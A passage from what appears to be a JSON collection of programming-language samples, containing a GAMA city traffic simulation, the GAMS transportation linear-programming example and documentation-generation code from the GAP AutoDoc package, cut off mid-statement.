    "content": "model tutorial_gis_city_traffic\n\nglobal {\n    file shape_file_buildings <- file(\"../includes/building.shp\");\n    file shape_file_roads <- file(\"../includes/road.shp\");\n    file shape_file_bounds <- file(\"../includes/bounds.shp\");\n    geometry shape <- envelope(shape_file_bounds);\n    float step <- 10 #mn;\n    int nb_people <- 100;\n    int current_hour update: (time / #hour) mod 24;\n    int min_work_start <- 6;\n    int max_work_start <- 8;\n    int min_work_end <- 16; \n    int max_work_end <- 20; \n    float min_speed <- 1.0 #km / #h;\n    float max_speed <- 5.0 #km / #h; \n    float destroy <- 0.02;\n    int repair_time <- 2 ;\n    graph the_graph;\n    \n    init {\n        create building from: shape_file_buildings with: [type::string(read (\"NATURE\"))] {\n            if type=\"Industrial\" {\n                color <- #blue ;\n            }\n        }\n        create road from: shape_file_roads ;\n        map<road,float> weights_map <- road as_map (each:: (each.destruction_coeff * each.shape.perimeter));\n        the_graph <- as_edge_graph(road) with_weights weights_map;\n        \n        \n        list<building> residential_buildings <- building where (each.type=\"Residential\");\n        list<building>  industrial_buildings <- building  where (each.type=\"Industrial\") ;\n        create people number: nb_people {\n            speed <- min_speed + rnd (max_speed - min_speed) ;\n            start_work <- min_work_start + rnd (max_work_start - min_work_start) ;\n            end_work <- min_work_end + rnd (max_work_end - min_work_end) ;\n            living_place <- one_of(residential_buildings) ;\n            working_place <- one_of(industrial_buildings) ;\n            objective <- \"resting\";\n            location <- any_location_in (living_place); \n        }\n    }\n    \n    reflex update_graph{\n        map<road,float> weights_map <- road as_map (each:: (each.destruction_coeff * each.shape.perimeter));\n        the_graph <- the_graph with_weights weights_map;\n    }\n    reflex repair_road when: every(repair_time #hour / step) {\n        road the_road_to_repair <- road with_max_of (each.destruction_coeff) ;\n        ask the_road_to_repair {\n            destruction_coeff <- 1.0 ;\n        }\n    }\n}\n\nspecies building {\n    string type; \n    rgb color <- #gray  ;\n    \n    aspect base {\n        draw shape color: color ;\n    }\n}\n\nspecies road  {\n    float destruction_coeff <- 1 + ((rnd(100))/ 100.0) max: 2.0;\n    int colorValue <- int(255*(destruction_coeff - 1)) update: int(255*(destruction_coeff - 1));\n    rgb color <- rgb(min([255, colorValue]),max ([0, 255 - colorValue]),0)  update: rgb(min([255, colorValue]),max ([0, 255 - colorValue]),0) ;\n    \n    aspect base {\n        draw shape color: color ;\n    }\n}\n\nspecies people skills:[moving] {\n    rgb color <- #yellow ;\n    building living_place <- nil ;\n    building working_place <- nil ;\n    int start_work ;\n    int end_work  ;\n    string objective ; \n    point the_target <- nil ;\n        \n    reflex time_to_work when: current_hour = start_work and objective = \"resting\"{\n        objective <- \"working\" ;\n        the_target <- any_location_in (working_place);\n    }\n        \n    reflex time_to_go_home when: current_hour = end_work and objective = \"working\"{\n        objective <- \"resting\" ;\n        the_target <- any_location_in (living_place); \n    } \n     \n    reflex move when: the_target != nil {\n        path path_followed <- self goto [target::the_target, on::the_graph, return_path:: true];\n        list<geometry> segments <- path_followed.segments;\n        loop line over: segments {\n            float dist <- line.perimeter;\n            ask road(path_followed agent_from_geometry line) { \n                destruction_coeff <- destruction_coeff + (destroy * dist / shape.perimeter);\n            }\n        }\n        if the_target = location {\n            the_target <- nil ;\n        }\n    }\n    \n    aspect base {\n        draw circle(10) color: color;\n    }\n}\n\nexperiment road_traffic type: gui {\n    parameter \"Shapefile for the buildings:\" var: shape_file_buildings category: \"GIS\" ;\n    parameter \"Shapefile for the roads:\" var: shape_file_roads category: \"GIS\" ;\n    parameter \"Shapefile for the bounds:\" var: shape_file_bounds category: \"GIS\" ;\n    parameter \"Number of people agents\" var: nb_people category: \"People\" ;\n    parameter \"Earliest hour to start work\" var: min_work_start category: \"People\" min: 2 max: 8;\n    parameter \"Latest hour to start work\" var: max_work_start category: \"People\" min: 8 max: 12;\n    parameter \"Earliest hour to end work\" var: min_work_end category: \"People\" min: 12 max: 16;\n    parameter \"Latest hour to end work\" var: max_work_end category: \"People\" min: 16 max: 23;\n    parameter \"minimal speed\" var: min_speed category: \"People\" min: 0.1 #km/#h ;\n    parameter \"maximal speed\" var: max_speed category: \"People\" max: 10 #km/#h;\n    parameter \"Value of destruction when a people agent takes a road\" var: destroy category: \"Road\" ;\n    parameter \"Number of hours between two road repairs\" var: repair_time category: \"Road\" ;\n    \n    output {\n        display city_display type:opengl {\n            species building aspect: base ;\n            species road aspect: base ;\n            species people aspect: base ;\n        }\n        display chart_display refresh:every(10#cycles) { \n            chart \"Road Status\" type: series size: {1, 0.5} position: {0, 0} {\n                data \"Mean road destruction\" value: mean (road collect each.destruction_coeff) style: line color: #green ;\n                data \"Max road destruction\" value: road max_of each.destruction_coeff style: line color: #red ;\n            }\n            chart \"People Objectif\" type: pie style: exploded size: {1, 0.5} position: {0, 0.5}{\n                data \"Working\" value: people count (each.objective=\"working\") color: #magenta ;\n                data \"Resting\" value: people count (each.objective=\"resting\") color: #blue ;\n            }\n        }\n    }\n}\n\n"
  },
  {
    "path": "samples/GAMS/transport.gms",
    "content": "*Basic example of transport model from GAMS model library\n\n$Title  A Transportation Problem (TRNSPORT,SEQ=1)\n$Ontext\n\nThis problem finds a least cost shipping schedule that meets\nrequirements at markets and supplies at factories.\n\n\nDantzig, G B, Chapter 3.3. In Linear Programming and Extensions.\nPrinceton University Press, Princeton, New Jersey, 1963.\n\nThis formulation is described in detail in:\nRosenthal, R E, Chapter 2: A GAMS Tutorial. In GAMS: A User's Guide.\nThe Scientific Press, Redwood City, California, 1988.\n\nThe line numbers will not match those in the book because of these\ncomments.\n\n$Offtext\n\n\n  Sets\n       i   canning plants   / seattle, san-diego /\n       j   markets          / new-york, chicago, topeka / ;\n  Parameters\n       a(i)  capacity of plant i in cases\n         /    seattle     350\n              san-diego   600  /\n       b(j)  demand at market j in cases\n         /    new-york    325\n              chicago     300\n              topeka      275  / ;\n  Table d(i,j)  distance in thousands of miles\n                    new-york       chicago      topeka\n      seattle          2.5           1.7          1.8\n      san-diego        2.5           1.8          1.4  ;\n  Scalar f  freight in dollars per case per thousand miles  /90/ ;\n  Parameter c(i,j)  transport cost in thousands of dollars per case ;\n            c(i,j) = f * d(i,j) / 1000 ;\n  Variables\n       x(i,j)  shipment quantities in cases\n       z       total transportation costs in thousands of dollars ;\n\n  Positive Variable x ;\n\n  Equations\n       cost        define objective function\n       supply(i)   observe supply limit at plant i\n       demand(j)   satisfy demand at market j ;\n\n  cost ..        z  =e=  sum((i,j), c(i,j)*x(i,j)) ;\n\n  supply(i) ..   sum(j, x(i,j))  =l=  a(i) ;\n\n  demand(j) ..   sum(i, x(i,j))  =g=  b(j) ;\n\n  Model transport /all/ ;\n\n  Solve transport using lp minimizing z ;\n\n  Display x.l, x.m ;\n\n$ontext\n#user model library stuff\nMain topic Basic GAMS\nFeatured item 1 Trnsport model\nFeatured item 2\nFeatured item 3\nFeatured item 4\nDescription\nBasic example of transport model from GAMS model library\n\n\n\n$offtext"
  },
  {
    "path": "samples/GAP/Magic.gd",
    "content": "#############################################################################\n##\n##  Magic.gd                                         AutoDoc package\n##\n##  Copyright 2013, Max Horn, JLU Giessen\n##                  Sebastian Gutsche, University of Kaiserslautern\n##\n#############################################################################\n\n\n#! @Description\n#! This is the main function of the &AutoDoc; package. It can perform\n#! any combination of the following three tasks:\n#! <Enum>\n#! <Item>\n#!     It can (re)generate a scaffold for your package manual.\n#!     That is, it can produce two XML files in &GAPDoc; format to be used as part\n#!     of your manual: First, a file named <F>doc/PACKAGENAME.xml</F>\n#!     (with your package's name substituted) which is used as\n#!     main file for the package manual, i.e. this file sets the\n#!     XML DOCTYPE and defines various XML entities, includes\n#!     other XML files (both those generated by &AutoDoc; as well\n#!     as additional files created by other means), tells &GAPDoc;\n#!     to generate a table of content and an index, and more.\n#!     Secondly, it creates a file <F>doc/title.xml</F> containing a title\n#!     page for your documentation, with information about your package\n#!     (name, description, version), its authors and more, based\n#!     on the data in your <F>PackageInfo.g</F>.\n#! </Item>\n#! <Item>\n#!     It can scan your package for &AutoDoc; based documentation (by using &AutoDoc;\n#!     tags and the Autodoc command.\n#!     This will\n#!     produce further XML files to be used as part of the package manual.\n#! </Item>\n#! <Item>\n#!     It can use &GAPDoc; to generate PDF, text and HTML (with\n#!     MathJaX enabled) documentation from the &GAPDoc; XML files it\n#!     generated as well as additional such files provided by you. For\n#!     this, it invokes <Ref Func='MakeGAPDocDoc' BookName='gapdoc'/>\n#!     to convert the XML sources, and it also instructs &GAPDoc; to copy\n#!     supplementary files (such as CSS style files) into your doc directory\n#!     (see <Ref Func='CopyHTMLStyleFiles' BookName='gapdoc'/>).\n#! </Item>\n#! </Enum>\n#! For more information and some examples, please refer to Chapter <Ref Label='Tutorials'/>.\n#! <P/>\n#! The parameters have the following meanings:\n#! <List>\n#!\n#! <Mark><A>package_name</A></Mark>\n#! <Item>\n#!     The name of the package whose documentation should be(re)generated.\n#! </Item>\n#!\n#!\n#! <Mark><A>option_record</A></Mark>\n#! <Item>\n#!     <A>option_record</A> can be a record with some additional options.\n#!     The following are currently supported:\n#!     <List>\n#!     <Mark><A>dir</A></Mark>\n#!     <Item>\n#!         This should be a string containing a (relative) path or a\n#!         Directory() object specifying where the package documentation\n#!         (i.e. the &GAPDoc; XML files) are stored.\n#!         <Br/>\n#!         <E>Default value: <C>\"doc/\"</C>.</E>\n#!     </Item>\n#!     <Mark><A>scaffold</A></Mark>\n#!     <Item>\n#!         This controls whether and how to generate scaffold XML files\n#!         for the main and title page of the package's documentation. \n#!         <P/>\n#!         The value should be either <K>true</K>, <K>false</K> or a\n#!         record. If it is a record or <K>true</K> (the latter is\n#!         equivalent to specifying an empty record), then this feature is\n#!         enabled. It is also enabled if <A>opt.scaffold</A> is missing but the\n#!         package's info record in <F>PackageInfo.g</F> has an <C>AutoDoc</C> entry.\n#!         In all other cases (in particular if <A>opt.scaffold</A> is\n#!         <K>false</K>), scaffolding is disabled.\n#!         <P/>\n#!\n#!         If <A>opt.scaffold</A> is a record, it may contain the following entries.\n#!\n#### TODO: mention merging with PackageInfo.AutoDoc!\n#!         <List>\n#!\n#!         <Mark><A>includes</A></Mark>\n#!         <Item>\n#!             A list of XML files to be included in the body of the main XML file.\n#!             If you specify this list and also are using &AutoDoc; to document\n#!             your operations with &AutoDoc; comments,\n#!             you can add <F>AutoDocMainFile.xml</F> to this list\n#!             to control at which point the documentation produced by &AutoDoc;\n#!             is inserted. If you do not do this, it will be added after the last\n#!             of your own XML files.\n#!         </Item>\n#!\n#!         <Mark><A>appendix</A></Mark>\n#!         <Item>\n#!             This entry is similar to <A>opt.scaffold.includes</A> but is used\n#!             to specify files to include after the main body of the manual,\n#!             i.e. typically appendices.\n#!         </Item>\n#!\n#!         <Mark><A>bib</A></Mark>\n#!         <Item>\n#!             The name of a bibliography file, in Bibtex or XML format.\n#!             If this key is not set, but there is a file <F>doc/PACKAGENAME.bib</F>\n#!             then it is assumed that you want to use this as your bibliography.\n#!         </Item>\n#!\n#### TODO: The 'entities' param is a bit strange. We should probably change it to be a bit more\n#### general, as one might want to define other entities... For now, we do not document it\n#### to leave us the choice of revising how it works.\n####\n####                 <Mark><A>entities</A></Mark>\n####                 <Item>\n####                     A list of package names or other entities which are used to define corresponding XML entities.\n####                     For example, if set to a list containing the string <Q>SomePackage</Q>,\n####                     then the following is added to the XML preamble:\n####                     <Listing><![CDATA[<!ENTITY SomePackage '<Package>SomePackage</Package>'>]]></Listing>\n####                     This allows you to write <Q>&amp;SomePackage;</Q> in your documentation\n####                     to reference that package. If another type of entity is desired, one can simply add,\n####                     instead of a string, add a two entry list <A>a</A> to the list. It will be handled as\n####                     <Listing><![CDATA[<!ENTITY a[ 2 ] '<a[ 1 ]>a[ 2 ]</a[ 1 ]>'>]]></Listing>,\n####                     so please be careful.\n####                 </Item>\n#!\n#!         <Mark><A>TitlePage</A></Mark>\n#!         <Item>\n#!             A record whose entries are used to embellish the generated titlepage\n#!             for the package manual with extra information, such as a copyright\n#!             statement or acknowledgments. To this end, the names of the record\n#!             components are used as XML element names, and the values of the\n#!             components are outputted as content of these XML elements. For\n#!             example, you could pass the following record to set a custom\n#!             acknowledgements text:\n#!             <Listing><![CDATA[\n#!             rec( Acknowledgements := \"Many thanks to ...\" )]]></Listing>\n#!             For a list of valid entries in the titlepage, please refer to the\n#!             &GAPDoc; manual, specifically section <Ref Subsect='Title' BookName='gapdoc'/>\n#!             and following.\n#!         </Item>\n#!         <Mark><A>document_class</A></Mark>\n#!         <Item>\n#!             Sets the document class of the resulting pdf. The value can either be a string\n#!             which has to be the name of the new document class, a list containing this string, or\n#!             a list of two strings. Then the first one has to be the document class name, the second one\n#!             the option string ( contained in [ ] ) in LaTeX.\n#!         </Item>\n#!         <Mark><A>latex_header_file</A></Mark>\n#!         <Item>\n#!             Replaces the standard header from &GAPDoc; completely with the header in this LaTeX file.\n#!             Please be careful here, and look at GAPDoc's latexheader.tex file for an example.\n#!         </Item>\n#!         <Mark><A>gapdoc_latex_options</A></Mark>\n#!         <Item>\n#!             Must be a record with entries which can be understood by SetGapDocLaTeXOptions. Each entry can be a string, which\n#!             will be given to &GAPDoc; directly, or a list containing of two entries: The first one must be the string \"file\",\n#!             the second one a filename. This file will be read and then its content is passed to &GAPDoc; as option with the name\n#!             of the entry.\n#!         </Item>\n#!\n#!         </List>\n#!     </Item>\n#!\n#!\n#!     <Mark><A>autodoc</A></Mark>\n#!     <Item>\n#!         This controls whether and how to generate addition XML documentation files\n#!         by scanning for &AutoDoc; documentation comments.\n#!         <P/>\n#!         The value should be either <K>true</K>, <K>false</K> or a\n#!         record. If it is a record or <K>true</K> (the latter is\n#!         equivalent to specifying an empty record), then this feature is\n#!         enabled. It is also enabled if <A>opt.autodoc</A> is missing but the\n#!         package depends (directly) on the &AutoDoc; package.\n#!         In all other cases (in particular if <A>opt.autodoc</A> is\n#!         <K>false</K>), this feature is disabled.\n#!         <P/>\n#!\n#!         If <A>opt.autodoc</A> is a record, it may contain the following entries.\n#!\n#!         <List>\n#!\n#!         <Mark><A>files</A></Mark>\n#!         <Item>\n#!             A list of files (given by paths relative to the package directory)\n#!             to be scanned for &AutoDoc; documentation comments.\n#!             Usually it is more convenient to use <A>autodoc.scan_dirs</A>, see below.\n#!         </Item>\n#!\n#!         <Mark><A>scan_dirs</A></Mark>\n#!         <Item>\n#!             A list of subdirectories of the package directory (given as relative paths)\n#!             which &AutoDoc; then scans for .gi, .gd and .g files; all of these files\n#!             are then scanned for &AutoDoc; documentation comments.\n#!             <Br/>\n#!             <E>Default value: <C>[ \"gap\", \"lib\", \"examples\", \"examples/doc\" ]</C>.</E>\n#!         </Item>\n#!\n#!         <Mark><A>level</A></Mark>\n#!         <Item>\n#!             This defines the level of the created documentation. The default value is 0.\n#!             When parts of the manual are declared with a higher value\n#!             they will not be printed into the manual.\n#!         </Item>\n#!\n#### TODO: Document section_intros later on.\n#### However, note that thanks to the new AutoDoc comment syntax, the only remaining\n#### use for this seems to be the ability to specify the order of chapters and\n#### sections.\n####                 <Mark><A>section_intros</A></Mark>\n####                 <Item>\n####                     TODO.\n####                 </Item>\n#!\n#!         </List>\n#!     </Item>\n#!\n#!\n#!     <Mark><A>gapdoc</A></Mark>\n#!     <Item>\n#!         This controls whether and how to invoke &GAPDoc; to create HTML, PDF and text\n#!         files from your various XML files.\n#!         <P/>\n#!         The value should be either <K>true</K>, <K>false</K> or a\n#!         record. If it is a record or <K>true</K> (the latter is\n#!         equivalent to specifying an empty record), then this feature is\n#!         enabled. It is also enabled if <A>opt.gapdoc</A> is missing.\n#!         In all other cases (in particular if <A>opt.gapdoc</A> is\n#!         <K>false</K>), this feature is disabled.\n#!         <P/>\n#!\n#!         If <A>opt.gapdoc</A> is a record, it may contain the following entries.\n#!\n#!         <List>\n#!\n#!\n#### Note: 'main' is strictly speaking also used for the scaffold.\n#### However, if one uses the scaffolding mechanism, then it is not\n#### really necessary to specify a custom name for the main XML file.\n#### Thus, the purpose of this parameter is to cater for packages\n#### that have existing documentation using a different XML name,\n#### and which do not wish to use scaffolding.\n####\n#### This explain why we only allow specifying gapdoc.main.\n#### The scaffolding code will still honor it, though, just in case.\n#!         <Mark><A>main</A></Mark>\n#!         <Item>\n#!             The name of the main XML file of the package manual.\n#!             This exists primarily to support packages with existing manual\n#!             which use a filename here which differs from the default.\n#!             In particular, specifying this is unnecessary when using scaffolding.\n#!             <Br/>\n#!             <E>Default value: <C>PACKAGENAME.xml</C></E>.\n#!         </Item>\n#!\n#!         <Mark><A>files</A></Mark>\n#!         <Item>\n#!             A list of files (given by paths relative to the package directory)\n#!             to be scanned for &GAPDoc; documentation comments.\n#!             Usually it is more convenient to use <A>gapdoc.scan_dirs</A>, see below.\n#!         </Item>\n#!\n#!         <Mark><A>scan_dirs</A></Mark>\n#!         <Item>\n#!             A list of subdirectories of the package directory (given as relative paths)\n#!             which &AutoDoc; then scans for .gi, .gd and .g files; all of these files\n#!             are then scanned for &GAPDoc; documentation comments.\n#!             <Br/>\n#!             <E>Default value: <C>[ \"gap\", \"lib\", \"examples\", \"examples/doc\" ]</C>.</E>\n#!         </Item>\n#!\n#!         </List>\n#!     </Item>\n## This is the maketest part. Still under construction.\n#!        <Mark><A>maketest</A></Mark>\n#!        <Item>\n#!          The maketest item can be true or a record. When it is true,\n#!          a simple maketest.g is created in the main package directory,\n#!          which can be used to test the examples from the manual. As a record,\n#!          the entry can have the following entries itself, to specify some options.\n#!          <List>\n#!          <Mark>filename</Mark>\n#!          <Item>\n#!            Sets the name of the test file.\n#!          </Item>\n#!          <Mark>commands</Mark>\n#!          <Item>\n#!            A list of strings, each one a command, which\n#!            will be executed at the beginning of the test file.\n#!          </Item>\n#!          </List>\n#!        </Item>\n#!\n#!     </List>\n#! </Item>\n#! </List>\n#!\n#! @Returns nothing\n#! @Arguments package_name[, option_record ]\n#! @ChapterInfo AutoDoc, The AutoDoc() function\nDeclareGlobalFunction( \"AutoDoc\" );\n\n"
  },
  {
    "path": "samples/GAP/Magic.gi",
    "content": "#############################################################################\n##\n##  Magic.gi                                         AutoDoc package\n##\n##  Copyright 2013, Max Horn, JLU Giessen\n##                  Sebastian Gutsche, University of Kaiserslautern\n##\n#############################################################################\n\n# Check if a string has the given suffix or not. Another\n# name for this would \"StringEndsWithOtherString\".\n# For example, AUTODOC_HasSuffix(\"file.gi\", \".gi\") returns\n# true while AUTODOC_HasSuffix(\"file.txt\", \".gi\") returns false.\nBindGlobal( \"AUTODOC_HasSuffix\",\nfunction(str, suffix)\n    local n, m;\n    n := Length(str);\n    m := Length(suffix);\n    return n >= m and str{[n-m+1..n]} = suffix;\nend );\n\n# Given a string containing a \".\", , return its suffix,\n# i.e. the bit after the last \".\". For example, given \"test.txt\",\n# it returns \"txt\".\nBindGlobal( \"AUTODOC_GetSuffix\",\nfunction(str)\n    local i;\n    i := Length(str);\n    while i > 0 and str[i] <> '.' do i := i - 1; od;\n    if i < 0 then return \"\"; fi;\n    return str{[i+1..Length(str)]};\nend );\n\n# Check whether the given directory exists, and if not, attempt\n# to create it.\nBindGlobal( \"AUTODOC_CreateDirIfMissing\",\nfunction(d)\n    local tmp;\n    if not IsDirectoryPath(d) then\n        tmp := CreateDir(d); # Note: CreateDir is currently undocumented\n        if tmp = fail then\n            Error(\"Cannot create directory \", d, \"\\n\",\n                  \"Error message: \", LastSystemError().message, \"\\n\");\n            return false;\n        fi;\n    fi;\n    return true;\nend );\n\n\n# Scan the given (by name) subdirs of a package dir for\n# files with one of the given extensions, and return the corresponding\n# filenames, as relative paths (relative to the package dir).\n#\n# For example, the invocation\n#   AUTODOC_FindMatchingFiles(\"AutoDoc\", [ \"gap/\" ], [ \"gi\", \"gd\" ]);\n# might return a list looking like\n#  [ \"gap/AutoDocMainFunction.gd\", \"gap/AutoDocMainFunction.gi\", ... ]\nBindGlobal( \"AUTODOC_FindMatchingFiles\",\nfunction (pkg, subdirs, extensions)\n    local d_rel, d, tmp, files, result;\n\n    result := [];\n\n    for d_rel in subdirs do\n        # Get the absolute path to the directory in side the package...\n        d := DirectoriesPackageLibrary( pkg, d_rel );\n        if IsEmpty( d ) then\n            continue;\n        fi;\n        d := d[1];\n        # ... but also keep the relative path (such as \"gap\")\n        d_rel := Directory( d_rel );\n\n        files := DirectoryContents( d );\n        Sort( files );\n        for tmp in files do\n            if not AUTODOC_GetSuffix( tmp ) in [ \"g\", \"gi\", \"gd\", \"autodoc\" ] then\n                continue;\n            fi;\n            if not IsReadableFile( Filename( d, tmp ) ) then\n                continue;\n            fi;\n            Add( result, Filename( d_rel, tmp ) );\n        od;\n    od;\n    return result;\nend );\n\n\n# AutoDoc(pkg[, opt])\n#\n## Make this function callable with the package_name AutoDocWorksheet.\n## Which will then create a worksheet!\nInstallGlobalFunction( AutoDoc,\nfunction( arg )\n    local pkg, package_info, opt, scaffold, gapdoc, maketest,\n          autodoc, pkg_dir, doc_dir, doc_dir_rel, d, tmp,\n          title_page, tree, is_worksheet, position_document_class, i, gapdoc_latex_option_record;\n    \n    pkg := arg[1];\n    \n    if LowercaseString( pkg ) = \"autodocworksheet\" then\n        is_worksheet := true;\n        package_info := rec( );\n        pkg_dir := DirectoryCurrent( );\n    else\n        is_worksheet := false;\n        package_info := PackageInfo( pkg )[ 1 ];\n        pkg_dir := DirectoriesPackageLibrary( pkg, \"\" )[1];\n    fi;\n\n    if Length(arg) >= 2 then\n        opt := arg[2];\n    else\n        opt := rec();\n    fi;\n\n    # Check for certain user supplied options, and if present, add them\n    # to the opt record.\n    tmp := function( key )\n        local val;\n        val := ValueOption( key );\n        if val <> fail then\n            opt.(key) := val;\n        fi;\n    end;\n    \n    tmp( \"dir\" );\n    tmp( \"scaffold\" );\n    tmp( \"autodoc\" );\n    tmp( \"gapdoc\" );\n    tmp( \"maketest\" );\n    \n    #\n    # Setup the output directory\n    #\n    if not IsBound( opt.dir ) then\n        doc_dir := \"doc\";\n    elif IsString( opt.dir ) or IsDirectory( opt.dir ) then\n        doc_dir := opt.dir;\n    else\n        Error( \"opt.dir must be a string containing a path, or a directory object\" );\n    fi;\n    \n    if IsString( doc_dir ) then\n        # Record the relative version of the path\n        doc_dir_rel := Directory( doc_dir );\n\n        # We intentionally do not use\n        #   DirectoriesPackageLibrary( pkg, \"doc\" )\n        # because it returns an empty list if the subdirectory is missing.\n        # But we want to handle that case by creating the directory.\n        doc_dir := Filename(pkg_dir, doc_dir);\n        doc_dir := Directory(doc_dir);\n\n    else\n        # TODO: doc_dir_rel = ... ?\n    fi;\n\n    # Ensure the output directory exists, create it if necessary\n    AUTODOC_CreateDirIfMissing(Filename(doc_dir, \"\"));\n    \n    # Let the developer know where we are generating the documentation.\n    # This helps diagnose problems where multiple instances of a package\n    # are visible to GAP and the wrong one is used for generating the\n    # documentation.\n    # TODO: Using Info() instead of Print?\n    Print( \"Generating documentation in \", doc_dir, \"\\n\" );\n\n    #\n    # Extract scaffolding settings, which can be controlled via\n    # opt.scaffold or package_info.AutoDoc. The former has precedence.\n    #\n    if not IsBound(opt.scaffold) then\n        # Default: enable scaffolding if and only if package_info.AutoDoc is present\n        if IsBound( package_info.AutoDoc ) then\n            scaffold := rec( );\n        fi;\n    elif IsRecord(opt.scaffold) then\n        scaffold := opt.scaffold;\n    elif IsBool(opt.scaffold) then\n        if opt.scaffold = true then\n            scaffold := rec();\n        fi;\n    else\n        Error(\"opt.scaffold must be a bool or a record\");\n    fi;\n\n    # Merge package_info.AutoDoc into scaffold\n    if IsBound(scaffold) and IsBound( package_info.AutoDoc ) then\n        AUTODOC_APPEND_RECORD_WRITEONCE( scaffold, package_info.AutoDoc );\n    fi;\n    \n    if IsBound( scaffold ) then\n        AUTODOC_WriteOnce( scaffold, \"TitlePage\", true );\n        AUTODOC_WriteOnce( scaffold, \"MainPage\", true );\n    fi;\n\n    \n    #\n    # Extract AutoDoc settings\n    #\n    if not IsBound(opt.autodoc) and not is_worksheet then\n        # Enable AutoDoc support if the package depends on AutoDoc.\n        tmp := Concatenation( package_info.Dependencies.NeededOtherPackages,\n                              package_info.Dependencies.SuggestedOtherPackages );\n        if ForAny( tmp, x -> LowercaseString(x[1]) = \"autodoc\" ) then\n            autodoc := rec();\n        fi;\n    elif IsRecord(opt.autodoc) then\n        autodoc := opt.autodoc;\n    elif IsBool(opt.autodoc) and opt.autodoc = true then\n        autodoc := rec();\n    fi;\n    \n    if IsBound(autodoc) then\n        if not IsBound( autodoc.files ) then\n            autodoc.files := [ ];\n        fi;\n        \n        if not IsBound( autodoc.scan_dirs ) and not is_worksheet then\n            autodoc.scan_dirs := [ \"gap\", \"lib\", \"examples\", \"examples/doc\" ];\n        elif not IsBound( autodoc.scan_dirs ) and is_worksheet then\n            autodoc.scan_dirs := [ ];\n        fi;\n        \n        if not IsBound( autodoc.level ) then\n            autodoc.level := 0;\n        fi;\n        \n        PushOptions( rec( level_value := autodoc.level ) );\n        \n        if not is_worksheet then\n            Append( autodoc.files, AUTODOC_FindMatchingFiles(pkg, autodoc.scan_dirs, [ \"g\", \"gi\", \"gd\" ]) );\n        fi;\n    fi;\n\n    #\n    # Extract GAPDoc settings\n    #\n    if not IsBound( opt.gapdoc ) then\n        # Enable GAPDoc support by default\n        gapdoc := rec();\n    elif IsRecord( opt.gapdoc ) then\n        gapdoc := opt.gapdoc;\n    elif IsBool( opt.gapdoc ) and opt.gapdoc = true then\n        gapdoc := rec();\n    fi;\n    \n    #\n    # Extract test settings\n    #\n    \n    if IsBound( opt.maketest ) then\n        if IsRecord( opt.maketest ) then\n            maketest := opt.maketest;\n        elif opt.maketest = true then\n            maketest := rec( );\n        fi;\n    fi;\n    \n    if IsBound( gapdoc ) then\n\n        if not IsBound( gapdoc.main ) then\n            gapdoc.main := pkg;\n        fi;\n\n        # FIXME: the following may break if a package uses more than one book\n        if IsBound( package_info.PackageDoc ) and IsBound( package_info.PackageDoc[1].BookName ) then\n            gapdoc.bookname := package_info.PackageDoc[1].BookName;\n        elif not is_worksheet then\n            # Default: book name = package name\n            gapdoc.bookname := pkg;\n\n            Print(\"\\n\");\n            Print(\"WARNING: PackageInfo.g is missing a PackageDoc entry!\\n\");\n            Print(\"Without this, your package manual will not be recognized by the GAP help system.\\n\");\n            Print(\"You can correct this by adding the following to your PackageInfo.g:\\n\");\n            Print(\"PackageDoc := rec(\\n\");\n            Print(\"  BookName  := ~.PackageName,\\n\");\n            #Print(\"  BookName  := \\\"\", pkg, \"\\\",\\n\");\n            Print(\"  ArchiveURLSubset := [\\\"doc\\\"],\\n\");\n            Print(\"  HTMLStart := \\\"doc/chap0.html\\\",\\n\");\n            Print(\"  PDFFile   := \\\"doc/manual.pdf\\\",\\n\");\n            Print(\"  SixFile   := \\\"doc/manual.six\\\",\\n\");\n            Print(\"  LongTitle := ~.Subtitle,\\n\");\n            Print(\"),\\n\");\n            Print(\"\\n\");\n        fi;\n\n        if not IsBound( gapdoc.files ) then\n            gapdoc.files := [];\n        fi;\n\n        if not IsBound( gapdoc.scan_dirs ) and not is_worksheet then\n            gapdoc.scan_dirs := [ \"gap\", \"lib\", \"examples\", \"examples/doc\" ];\n        fi;\n        \n        if not is_worksheet then\n            Append( gapdoc.files, AUTODOC_FindMatchingFiles(pkg, gapdoc.scan_dirs, [ \"g\", \"gi\", \"gd\" ]) );\n        fi;\n\n        # Attempt to weed out duplicates as they may confuse GAPDoc (this\n        # won't work if there are any non-normalized paths in the list).\n        gapdoc.files := Set( gapdoc.files );\n        \n        # Convert the file paths in gapdoc.files, which are relative to\n        # the package directory, to paths which are relative to the doc directory.\n        # For this, we assume that doc_dir_rel is normalized (e.g.\n        # it does not contains '//') and relative.\n        d := Number( Filename( doc_dir_rel, \"\" ), x -> x = '/' );\n        d := Concatenation( ListWithIdenticalEntries(d, \"../\") );\n        gapdoc.files := List( gapdoc.files, f -> Concatenation( d, f ) );\n    fi;\n    \n    \n    # read tree\n    # FIXME: shouldn't tree be declared inside of an 'if IsBound(autodoc)' section?\n    tree := DocumentationTree( );\n    \n    if IsBound( autodoc ) then\n        if IsBound( autodoc.section_intros ) then\n            AUTODOC_PROCESS_INTRO_STRINGS( autodoc.section_intros : Tree := tree );\n        fi;\n    \n        AutoDocScanFiles( autodoc.files : PackageName := pkg, Tree := tree );\n    fi;\n    \n    if is_worksheet then\n        # FIXME: We use scaffold and autodoc here without checking whether\n        # they are bound. Does that mean worksheets always use them?\n        if IsRecord( scaffold.TitlePage ) and IsBound( scaffold.TitlePage.Title ) then\n            pkg := scaffold.TitlePage.Title;\n\n        elif IsBound( tree!.TitlePage.Title ) then\n            pkg := tree!.TitlePage.Title;\n\n        elif IsBound( autodoc.files ) and Length( autodoc.files ) > 0  then\n            pkg := autodoc.files[ 1 ];\n            \n            while Position( pkg, '/' ) <> fail do\n                Remove( pkg, 1 );\n            od;\n            \n            while Position( pkg, '.' ) <> fail do\n                Remove( pkg, Length( pkg ) );\n            od;\n\n        else\n            Error( \"could not figure out a title.\" );\n        fi;\n        \n        if not IsString( pkg ) then\n            pkg := JoinStringsWithSeparator( pkg, \" \" );\n        fi;\n        \n        gapdoc.main := ReplacedString( pkg, \" \", \"_\" );\n        gapdoc.bookname := ReplacedString( pkg, \" \", \"_\" );\n    fi;\n    \n    #\n    # Generate scaffold\n    #\n    gapdoc_latex_option_record := rec( );\n    \n    if IsBound( scaffold ) then\n        ## Syntax is [ \"class\", [ \"options\" ] ]\n        if IsBound( scaffold.document_class ) then\n            position_document_class := PositionSublist( GAPDoc2LaTeXProcs.Head, \"documentclass\" );\n            \n            if IsString( scaffold.document_class ) then\n                scaffold.document_class := [ scaffold.document_class ];\n            fi;\n            \n            if position_document_class = fail then\n                Error( \"something is wrong with the LaTeX header\" );\n            fi;\n            \n            GAPDoc2LaTeXProcs.Head := 